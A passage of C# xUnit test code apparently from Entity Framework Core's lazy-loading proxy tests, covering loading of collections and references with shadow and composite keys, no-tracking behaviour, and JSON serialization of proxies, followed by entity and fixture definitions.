Assert.True(collectionEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, parent.ChildrenShadowFk.Count());
Assert.All(parent.ChildrenShadowFk.Select(e => e.Parent), c => Assert.Same(parent, c));
Assert.Equal(3, context.ChangeTracker.Entries().Count());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<ChildShadowFk>().Single(e => e.Id == 52);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.ChildrenShadowFk.Single());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.Set<SingleShadowFk>().Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.SingleShadowFk);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_dependent_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.SingleShadowFk);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(parent.SingleShadowFk);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<SingleShadowFk>().Single().Entity;
Assert.Same(single, parent.SingleShadowFk);
Assert.Same(parent, single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_null_FK_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.CreateProxy<ChildShadowFk>();
child.Id = 767;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_null_FK_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.CreateProxy<SingleShadowFk>();
single.Id = 767;
context.Attach(single);
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_collection_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.ChildrenCompositeKey);
context.Entry(parent).State = state;
Assert.False(collectionEntry.IsLoaded);
Assert.NotNull(parent.ChildrenCompositeKey);
Assert.True(collectionEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, parent.ChildrenCompositeKey.Count());
Assert.All(parent.ChildrenCompositeKey.Select(e => e.Parent), c => Assert.Same(parent, c));
Assert.Equal(3, context.ChangeTracker.Entries().Count());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<ChildCompositeKey>().Single(e => e.Id == 52);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.ChildrenCompositeKey.Single());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.Set<SingleCompositeKey>().Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.SingleCompositeKey);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_dependent_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.SingleCompositeKey);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(parent.SingleCompositeKey);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<SingleCompositeKey>().Single().Entity;
Assert.Same(single, parent.SingleCompositeKey);
Assert.Same(parent, single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_null_FK_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.CreateProxy<ChildCompositeKey>();
child.Id = 767;
child.ParentId = 567;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_null_FK_composite_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.CreateProxy<SingleCompositeKey>();
single.Id = 767;
single.ParentAlternateId = "Boot";
context.Attach(single);
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(single.Parent);
}
[ConditionalFact]
public virtual void Lazy_load_collection_for_detached_is_no_op()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
context.Entry(parent).State = EntityState.Detached;
Assert.Null(parent.Children);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_principal_for_detached_is_no_op()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<Child>().Single(e => e.Id == 12);
context.Entry(child).State = EntityState.Detached;
Assert.Null(child.Parent);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_dependent_for_detached_is_no_op()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
context.Entry(parent).State = EntityState.Detached;
Assert.Null(parent.Single);
}
[ConditionalFact]
public virtual void Lazy_load_collection_for_no_tracking_throws()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().AsNoTracking().Single();
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.DetachedLazyLoadingWarning.ToString(),
CoreResources.LogDetachedLazyLoading(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage(nameof(Parent.Children), "MotherProxy"),
"CoreEventId.DetachedLazyLoadingWarning"),
Assert.Throws<InvalidOperationException>(
() => parent.Children).Message);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_principal_for_no_tracking_throws()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<Child>().AsNoTracking().Single(e => e.Id == 12);
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.DetachedLazyLoadingWarning.ToString(),
CoreResources.LogDetachedLazyLoading(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage(nameof(Child.Parent), "ChildProxy"),
"CoreEventId.DetachedLazyLoadingWarning"),
Assert.Throws<InvalidOperationException>(
() => child.Parent).Message);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_dependent_for_no_tracking_throws()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().AsNoTracking().Single();
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.DetachedLazyLoadingWarning.ToString(),
CoreResources.LogDetachedLazyLoading(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage(nameof(Parent.Single), "MotherProxy"),
"CoreEventId.DetachedLazyLoadingWarning"),
Assert.Throws<InvalidOperationException>(
() => parent.Single).Message);
}
[ConditionalFact]
public virtual void Lazy_load_collection_for_no_tracking_does_not_throw_if_populated()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Include(e => e.Children).AsNoTracking().Single();
Assert.Same(parent, parent.Children.First().Parent);
((ICollection<Child>)parent.Children).Clear();
Assert.Empty(parent.Children);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_principal_for_no_tracking_does_not_throw_if_populated()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<Child>().Include(e => e.Parent).AsNoTracking().Single(e => e.Id == 12);
Assert.NotNull(child.Parent);
child.Parent = null;
Assert.Null(child.Parent);
}
[ConditionalFact]
public virtual void Lazy_load_reference_to_dependent_for_no_tracking_does_not_throw_if_populated()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Include(e => e.Single).AsNoTracking().Single();
Assert.Same(parent, parent.Single.Parent);
parent.Single = null;
Assert.Null(parent.Single);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, true)]
[InlineData(EntityState.Unchanged, false)]
[InlineData(EntityState.Modified, true)]
[InlineData(EntityState.Modified, false)]
[InlineData(EntityState.Deleted, true)]
[InlineData(EntityState.Deleted, false)]
public virtual async Task Load_collection(EntityState state, bool async)
{
using var context = CreateContext();
var parent = context.Set<Parent>().Single();
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.Children);
context.Entry(parent).State = state;
Assert.False(collectionEntry.IsLoaded);
if (async)
{
await collectionEntry.LoadAsync();
}
else
{
collectionEntry.Load();
}
Assert.True(collectionEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, parent.Children.Count());
Assert.All(parent.Children.Select(e => e.Parent), c => Assert.Same(parent, c));
Assert.Equal(3, context.ChangeTracker.Entries().Count());
}
[ConditionalFact]
public virtual void Can_serialize_proxies_to_JSON()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var blogs = context.Set<Blog>().OrderBy(e => e.Host.HostName).ToList();
VerifyBlogs(blogs);
foreach (var blog in blogs)
{
Assert.IsNotType<Blog>(blog);
}
var serialized = Newtonsoft.Json.JsonConvert.SerializeObject(
blogs,
new Newtonsoft.Json.JsonSerializerSettings { ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore, Formatting = Newtonsoft.Json.Formatting.Indented });
Assert.Equal(
@"[
{
""Writer"": {
""FirstName"": ""firstNameWriter0"",
""LastName"": ""lastNameWriter0"",
""Alive"": false
},
""Reader"": {
""FirstName"": ""firstNameReader0"",
""LastName"": ""lastNameReader0"",
""Alive"": false
},
""Host"": {
""HostName"": ""127.0.0.1"",
""Rating"": 0.0
},
""Id"": 1
},
{
""Writer"": {
""FirstName"": ""firstNameWriter1"",
""LastName"": ""lastNameWriter1"",
""Alive"": false
},
""Reader"": {
""FirstName"": ""firstNameReader1"",
""LastName"": ""lastNameReader1"",
""Alive"": false
},
""Host"": {
""HostName"": ""127.0.0.2"",
""Rating"": 0.0
},
""Id"": 2
},
{
""Writer"": {
""FirstName"": ""firstNameWriter2"",
""LastName"": ""lastNameWriter2"",
""Alive"": false
},
""Reader"": {
""FirstName"": ""firstNameReader2"",
""LastName"": ""lastNameReader2"",
""Alive"": false
},
""Host"": {
""HostName"": ""127.0.0.3"",
""Rating"": 0.0
},
""Id"": 3
}
]", serialized, ignoreLineEndingDifferences: true);
var newBlogs = Newtonsoft.Json.JsonConvert.DeserializeObject<List<Blog>>(serialized);
VerifyBlogs(newBlogs);
foreach (var blog in newBlogs)
{
Assert.IsType<Blog>(blog);
}
var options = new System.Text.Json.JsonSerializerOptions { ReferenceHandler = System.Text.Json.Serialization.ReferenceHandler.Preserve, WriteIndented = true };
serialized = System.Text.Json.JsonSerializer.Serialize(blogs, options);
Assert.Equal(@"{
""$id"": ""1"",
""$values"": [
{
""$id"": ""2"",
""Id"": 1,
""Writer"": {
""$id"": ""3"",
""FirstName"": ""firstNameWriter0"",
""LastName"": ""lastNameWriter0"",
""Alive"": false
},
""Reader"": {
""$id"": ""4"",
""FirstName"": ""firstNameReader0"",
""LastName"": ""lastNameReader0"",
""Alive"": false
},
""Host"": {
""$id"": ""5"",
""HostName"": ""127.0.0.1"",
""Rating"": 0
}
},
{
""$id"": ""6"",
""Id"": 2,
""Writer"": {
""$id"": ""7"",
""FirstName"": ""firstNameWriter1"",
""LastName"": ""lastNameWriter1"",
""Alive"": false
},
""Reader"": {
""$id"": ""8"",
""FirstName"": ""firstNameReader1"",
""LastName"": ""lastNameReader1"",
""Alive"": false
},
""Host"": {
""$id"": ""9"",
""HostName"": ""127.0.0.2"",
""Rating"": 0
}
},
{
""$id"": ""10"",
""Id"": 3,
""Writer"": {
""$id"": ""11"",
""FirstName"": ""firstNameWriter2"",
""LastName"": ""lastNameWriter2"",
""Alive"": false
},
""Reader"": {
""$id"": ""12"",
""FirstName"": ""firstNameReader2"",
""LastName"": ""lastNameReader2"",
""Alive"": false
},
""Host"": {
""$id"": ""13"",
""HostName"": ""127.0.0.3"",
""Rating"": 0
}
}
]
}", serialized, ignoreLineEndingDifferences: true);
newBlogs = System.Text.Json.JsonSerializer.Deserialize<List<Blog>>(serialized, options);
Assert.IsType<List<Blog>>(newBlogs);
foreach (var blog in newBlogs)
{
Assert.IsType<Blog>(blog);
}
VerifyBlogs(newBlogs);
}
[ConditionalFact]
public virtual void Lazy_loading_finds_correct_entity_type_with_already_loaded_owned_types()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var blogs = context.Set<Blog>().OrderBy(e => e.Host.HostName).ToList();
VerifyBlogs(blogs);
}
private static void VerifyBlogs(List<Blog> blogs)
{
Assert.Equal(3, blogs.Count);
for (var i = 0; i < 3; i++)
{
Assert.Equal($"firstNameReader{i}", blogs[i].Reader.FirstName);
Assert.Equal($"lastNameReader{i}", blogs[i].Reader.LastName);
Assert.Equal($"firstNameWriter{i}", blogs[i].Writer.FirstName);
Assert.Equal($"lastNameWriter{i}", blogs[i].Writer.LastName);
Assert.Equal($"127.0.0.{i + 1}", blogs[i].Host.HostName);
}
}
[ConditionalFact]
public virtual void Lazy_loading_finds_correct_entity_type_with_multiple_queries()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var blogs = context.Set<Blog>().Where(_ => true);
VerifyBlogs(blogs.ToList().OrderBy(e => e.Host.HostName).ToList());
Assert.Equal(12, context.ChangeTracker.Entries().Count());
VerifyBlogs(blogs.ToList().OrderBy(e => e.Host.HostName).ToList());
Assert.Equal(12, context.ChangeTracker.Entries().Count());
}
[ConditionalFact]
public virtual void Lazy_loading_finds_correct_entity_type_with_opaque_predicate_and_multiple_queries()
{
using var context = CreateContext(lazyLoadingEnabled: true);
// ReSharper disable once ConvertToLocalFunction
bool opaquePredicate(Blog _)
=> true;
var blogs = context.Set<Blog>().Where(opaquePredicate);
VerifyBlogs(blogs.ToList().OrderBy(e => e.Host.HostName).ToList());
Assert.Equal(12, context.ChangeTracker.Entries().Count());
VerifyBlogs(blogs.ToList().OrderBy(e => e.Host.HostName).ToList());
Assert.Equal(12, context.ChangeTracker.Entries().Count());
}
[ConditionalFact]
public virtual void Lazy_loading_finds_correct_entity_type_with_multiple_queries_using_Count()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var blogs = context.Set<Blog>().Where(_ => true);
Assert.Equal(3, blogs.Count());
Assert.Empty(context.ChangeTracker.Entries());
Assert.Equal(3, blogs.Count());
Assert.Empty(context.ChangeTracker.Entries());
}
[ConditionalFact]
public virtual void Lazy_loading_shares_service__property_on_derived_types()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parson = context.Set<Parson>().Single();
Assert.Equal(2, parson.ParsonNoses.Count);
Assert.Equal(
new[] { "Large", "Medium" },
parson.ParsonNoses.Select(b => b.Size).OrderBy(h => h));
var company = context.Set<Company>().Single();
Assert.Equal(2, company.CompanyNoses.Count);
Assert.Equal(
new[] { "Large", "Small" },
company.CompanyNoses.Select(b => b.Size).OrderBy(h => h));
var entity = context.Set<Entity>().ToList().Except(new Entity[] { parson, company }).Single();
Assert.Equal(3, entity.BaseNoses.Count);
Assert.Equal(
new[] { "Large", "Medium", "Small" },
entity.BaseNoses.Select(b => b.Size).OrderBy(h => h));
}
[ConditionalFact]
public virtual void Lazy_loading_handles_shadow_nullable_GUID_FK_in_TPH_model()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var tribes = context.Set<Tribe>().ToList();
Assert.Single(tribes);
Assert.IsAssignableFrom<Quest>(tribes[0]);
Assert.Equal(new DateTime(1973, 9, 3), ((Quest)tribes[0]).Birthday);
}
[ConditionalFact]
public virtual void Lazy_loading_finds_correct_entity_type_with_alternate_model()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var person = context.Set<Pyrson>().Single();
Assert.NotNull(person.Name.FirstName);
Assert.NotNull(person.Name.LastName);
Assert.NotNull(person.Address);
var applicant = context.Set<Applicant>().Single();
Assert.NotNull(applicant.Name);
var address = context.Set<Address>().Single();
Assert.NotNull(address.Line1);
Assert.NotNull(address.Line2);
Assert.Same(address, person.Address);
}
[ConditionalFact]
public virtual void Top_level_projection_track_entities_before_passing_to_client_method()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var query = (from p in context.Set<Parent>()
orderby p.Id
select DtoFactory.CreateDto(p)).FirstOrDefault();
RecordLog();
Assert.NotNull(((dynamic)query).Single);
}
[ConditionalTheory]
[InlineData(true)]
[InlineData(false)]
public virtual async Task Entity_equality_with_proxy_parameter(bool async)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var called = context.Set<Parent>().OrderBy(e => e.Id).FirstOrDefault();
ClearLog();
var query = from Child q in context.Set<Child>()
where q.Parent == called
select q;
var result = async ? await query.ToListAsync() : query.ToList();
RecordLog();
}
private static class DtoFactory
{
public static object CreateDto(Parent parent)
{
return new
{
parent.Id,
parent.Single,
parent.Single.ParentId
};
}
}
public class Address
{
public int AddressId { get; set; }
public string Line1 { get; set; }
public string Line2 { get; set; }
public int PyrsonId { get; set; }
}
public class Applicant
{
public int ApplicantId { get; set; }
public virtual FullName Name { get; set; }
protected Applicant()
{
}
public Applicant(FullName name)
{
Name = name ?? throw new ArgumentNullException(nameof(name));
}
}
public class FirstName
{
private readonly string _value;
protected FirstName()
{
}
private FirstName(string value)
{
_value = value;
}
public static FirstName Create(string firstName)
{
return new(firstName);
}
}
public class LastName
{
private readonly string _value;
protected LastName()
{
}
private LastName(string value)
{
_value = value;
}
public static LastName Create(string lastName)
{
return new(lastName);
}
}
public class Pyrson
{
public int PyrsonId { get; set; }
public virtual FullName Name { get; set; }
public virtual Address Address { get; set; }
protected Pyrson()
{
}
public Pyrson(FullName name)
{
Name = name ?? throw new ArgumentNullException(nameof(name));
}
}
public class FullName
{
public virtual bool Exists { get; set; }
// ReSharper disable once AutoPropertyCanBeMadeGetOnly.Local
public virtual FirstName FirstName { get; private set; }
// ReSharper disable once AutoPropertyCanBeMadeGetOnly.Local
public virtual LastName LastName { get; private set; }
protected FullName()
{
}
public FullName(FirstName firstName, LastName lastName)
{
FirstName = firstName ?? throw new ArgumentNullException(nameof(firstName));
LastName = lastName ?? throw new ArgumentNullException(nameof(lastName));
Exists = true;
}
}
public abstract class Parent
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public string AlternateId { get; set; }
public virtual IEnumerable<Child> Children { get; set; }
public virtual SinglePkToPk SinglePkToPk { get; set; }
public virtual Single Single { get; set; }
public virtual IEnumerable<ChildAk> ChildrenAk { get; set; }
public virtual SingleAk SingleAk { get; set; }
public virtual IEnumerable<ChildShadowFk> ChildrenShadowFk { get; set; }
public virtual SingleShadowFk SingleShadowFk { get; set; }
public virtual IEnumerable<ChildCompositeKey> ChildrenCompositeKey { get; set; }
public virtual SingleCompositeKey SingleCompositeKey { get; set; }
public virtual WithRecursiveProperty WithRecursiveProperty { get; set; }
}
public class Mother : Parent
{
}
public class Father : Parent
{
}
public class WithRecursiveProperty
{
private int _backing;
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public int? ParentId { get; set; }
public virtual Parent Parent { get; set; }
public int IdLoadedFromParent
{
get
{
if (Parent != null)
{
_backing = Parent.Id;
}
return _backing;
}
set => _backing = value;
}
}
public class Child
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public int? ParentId { get; set; }
public virtual Parent Parent { get; set; }
}
public class SinglePkToPk
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual Parent Parent { get; set; }
}
public class Single
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public int? ParentId { get; set; }
public virtual Parent Parent { get; set; }
}
public class ChildAk
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public string ParentId { get; set; }
public virtual Parent Parent { get; set; }
}
public class SingleAk
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public string ParentId { get; set; }
public virtual Parent Parent { get; set; }
}
public class ChildShadowFk
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual Parent Parent { get; set; }
}
public class SingleShadowFk
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual Parent Parent { get; set; }
}
public class ChildCompositeKey
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public int? ParentId { get; set; }
public string ParentAlternateId { get; set; }
public virtual Parent Parent { get; set; }
}
public class SingleCompositeKey
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public int? ParentId { get; set; }
public string ParentAlternateId { get; set; }
public virtual Parent Parent { get; set; }
}
public class Blog
{
public int Id { get; set; }
public virtual Person Writer { get; set; }
public virtual Person Reader { get; set; }
public virtual Host Host { get; set; }
}
public class Nose
{
public int Id { get; set; }
public string Size { get; set; }
}
public class Person
{
public string FirstName { get; set; }
public string LastName { get; set; }
public bool Alive { get; set; }
}
public class Entity
{
public int Id { get; set; }
public virtual ICollection<Nose> BaseNoses { get; set; }
}
public class Company : Entity
{
public virtual ICollection<Nose> CompanyNoses { get; set; }
}
public class Parson : Entity
{
public DateTime Birthday { set; get; }
public virtual ICollection<Nose> ParsonNoses { get; set; }
}
public class Host
{
public string HostName { get; set; }
public double Rating { get; set; }
}
public abstract class Tribe
{
public Guid Id { get; set; }
}
public class Called : Tribe
{
public string Name { set; get; }
}
public class Quest : Tribe
{
public DateTime Birthday { set; get; }
public virtual Called Called { set; get; }
}
public class NonVirtualOneToOneOwner
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
// note: _not_ virtual
public OwnedAddress Address { get; set; }
}
public class VirtualOneToOneOwner
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual OwnedAddress Address { get; set; }
}
public class NonVirtualOneToManyOwner
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
// note: _not_ virtual
public List<OwnedAddress> Addresses { get; set; }
}
public class VirtualOneToManyOwner
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual List<OwnedAddress> Addresses { get; set; }
}
public class ExplicitLazyLoadNonVirtualOneToManyOwner
{
private ICollection<OwnedAddress> _addresses;
private ILazyLoader LazyLoader { get; set; }
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
// note: _not_ virtual
public ICollection<OwnedAddress> Addresses
{
get => LazyLoader.Load(this, ref _addresses);
set => _addresses = value;
}
}
public class ExplicitLazyLoadVirtualOneToManyOwner
{
private ICollection<OwnedAddress> _addresses;
private ILazyLoader LazyLoader { get; set; }
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { get; set; }
public virtual ICollection<OwnedAddress> Addresses
{
get => LazyLoader.Load(this, ref _addresses);
set => _addresses = value;
}
}
[Owned]
public class OwnedAddress
{
public string Street { get; set; }
public string PostalCode { get; set; }
public int CountryCode { get; set; }
}
protected DbContext CreateContext(bool lazyLoadingEnabled = false)
{
var context = Fixture.CreateContext();
context.ChangeTracker.LazyLoadingEnabled = lazyLoadingEnabled;
return context;
}
protected virtual void ClearLog()
{
}
protected virtual void RecordLog()
{
}
protected class ChangeDetectorProxy : ChangeDetector
{
public ChangeDetectorProxy(
IDiagnosticsLogger<DbLoggerCategory.ChangeTracking> logger,
ILoggingOptions loggingOptions)
: base(logger, loggingOptions)
{
}
public bool DetectChangesCalled { get; set; }
public override void DetectChanges(IStateManager stateManager)
{
DetectChangesCalled = true;
base.DetectChanges(stateManager);
}
}
public abstract class LoadFixtureBase : SharedStoreFixtureBase<DbContext>
{
protected override string StoreName { get; } = "LazyLoadProxyTest";
public override DbContextOptionsBuilder AddOptions(DbContextOptionsBuilder builder)
=> base.AddOptions(builder.UseLazyLoadingProxies());
protected override IServiceCollection AddServices(IServiceCollection serviceCollection)
=> base.AddServices(
serviceCollection
.AddScoped<IChangeDetector, ChangeDetectorProxy>()
.AddEntityFrameworkProxies());
// By-design. Lazy loaders are not disposed when using pooling
protected override bool UsePooling
=> false;
protected override void OnModelCreating(ModelBuilder modelBuilder, DbContext context)
{
modelBuilder.Entity<Tribe>();
modelBuilder.Entity<Called>();
modelBuilder.Entity<Quest>();
modelBuilder.Entity<Entity>();
modelBuilder.Entity<Company>();
modelBuilder.Entity<Parson>();
modelBuilder.Entity<SingleShadowFk>()
.Property<int?>("ParentId");
modelBuilder.Entity<Parent>(
b =>
{
b.Property(e => e.AlternateId).ValueGeneratedOnAdd();
b.HasMany(e => e.Children)
.WithOne(e => e.Parent)
.HasForeignKey(e => e.ParentId);
b.HasOne(e => e.SinglePkToPk)
.WithOne(e => e.Parent)
.HasForeignKey<SinglePkToPk>(e => e.Id)
.IsRequired();
b.HasOne(e => e.Single)
.WithOne(e => e.Parent)
.HasForeignKey<Single>(e => e.ParentId);
b.HasMany(e => e.ChildrenAk)
.WithOne(e => e.Parent)
.HasPrincipalKey(e => e.AlternateId)
.HasForeignKey(e => e.ParentId);
b.HasOne(e => e.SingleAk)
.WithOne(e => e.Parent)
.HasPrincipalKey<Parent>(e => e.AlternateId)
.HasForeignKey<SingleAk>(e => e.ParentId);
b.HasMany(e => e.ChildrenShadowFk)
.WithOne(e => e.Parent)
.HasPrincipalKey(e => e.Id)
.HasForeignKey("ParentId");
b.HasOne(e => e.SingleShadowFk)
.WithOne(e => e.Parent)
.HasPrincipalKey<Parent>(e => e.Id)
